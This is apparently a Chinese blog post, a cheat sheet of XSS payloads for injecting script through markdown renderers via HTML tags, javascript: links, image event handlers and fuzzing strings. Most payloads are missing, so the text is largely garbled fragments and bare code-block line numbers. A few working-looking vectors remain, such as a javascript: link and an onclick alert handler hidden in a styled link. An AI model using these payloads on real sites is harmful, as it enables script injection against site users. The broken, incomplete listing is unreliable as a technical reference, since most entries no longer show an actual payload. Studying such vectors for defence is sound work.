【XSS】markdown xss
HTML 标签
Javascript链接
Img事件语法滥用
Markdown XSS Fuzz测试
如果你有机会在 markdown 中注入代码,有几种选项可以用来触发 XSS
HTML 标签
在 markdown 中触发 XSS 的最常见方法是注入执行 javascript 的常见 HTML 标签,因为 markdown 解释器也会接受 HTML内容:
1
2
Javascript链接
如果HTML标签不可用,你可以尝试使用markdown语法,如下是一些bypass payload:
a)
Basic)
Local Storage))
CaseInsensitive)
URL)
In Quotes')
a)
a
a
1
2
3
4
5
6
7
8
9
Img事件语法滥用
)
)
)
)
1
2
3
4
Markdown XSS Fuzz测试
a)
a)
)\
<javascript:alert('XSS')>
\
a
a
\
notmalicious
test)
test;com)
notmalicious
notmalicious
a
clickme)
http://danlec@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAABACAMAAADlCI9NAAACcFBMVEX/AAD//f3//v7/0tL/AQH/cHD/Cwv/+/v/CQn/EBD/FRX/+Pj/ISH/PDz/6Oj/CAj/FBT/DAz/Bgb/rq7/p6f/gID/mpr/oaH/NTX/5+f/mZn/wcH/ICD/ERH/Skr/3Nz/AgL/trb/QED/z8//6+v/BAT/i4v/9fX/ZWX/x8f/aGj/ysr/8/P/UlL/8vL/T0//dXX/hIT/eXn/bGz/iIj/XV3/jo7/W1v/wMD/Hh7/+vr/t7f/1dX/HBz/zc3/nJz/4eH/Zmb/Hx//RET/Njb/jIz/f3//Ojr/w8P/Ghr/8PD/Jyf/mJj/AwP/srL/Cgr/1NT/5ub/PT3/fHz/Dw//eHj/ra3/IiL/DQ3//Pz/9/f/Ly//+fn/UFD/MTH/vb3/7Oz/pKT/1tb/2tr/jY3/6en/QkL/5OT/ubn/JSX/MjL/Kyv/Fxf/Rkb/sbH/39//iYn/q6v/qqr/Y2P/Li7/wsL/uLj/4+P/yMj/S0v/GRn/cnL/hob/l5f/s7P/Tk7/WVn/ior/09P/hYX/bW3/GBj/XFz/aWn/Q0P/vLz/KCj/kZH/5eX/U1P/Wlr/cXH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JXAYMSawtkiqfaDHjNtYVfhzJJBvBGJ3zmADhv6054W71ZrBNvHZDigr0DDCcFkHeB8wog70G/2LXA+xIrh03i02Zgavx0Blo+SA5Q+yEcrVSAYvjYBhwEPrEoDZ+KX20wIe7G1ZtwTJIDyMYU+FwBeuGLpaLqg91NcqnqgQU9Yre/ETpzkwXIIKAAmRnQruboUeiVS1cHmF8pcv70bqBVkgak1tgAaYbuw9bj9kFjVN28wsJvxK9VFQDGzjVF7d9+9z1ARJIHyMxRQNo2SDn2408HBsY5njZJPcFbTomJo59H5HIAUmIDpPQXVGS0igfg7detBqptv/0ulwfIbbQB8kchVtNmiQsQUO7Qru37jpQX7WmS/6YZPXP+LPprbVgC0ul0Op1Op9Pp/gYrAa7fWhG7QQAAAABJRU5ErkJggg==);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
>
text
a)
a
a
a
a
a
a
a)
a;com)
a
a
a)
a')
a)
)
)
/http://<?php\<\h1>confirm(2)
XSS;)
.]])
a
XSS)
XSS)
XSS
XSS
XSS
XSS)
XSS;com)
XSS
XSS
XSS
XSS)
XSS)
XSS
XSS
XSS
XSS
XSS
XSS
XSS)
XSS;com)
XSS
XSS
)\
\
\
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
文章知识点与官方知识档案匹配,可进一步学习相关知识
CS入门技能树MarkDown入门MarkDown介绍42442 人正在系统学习中
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/Gherbirthday0916/article/details/138603821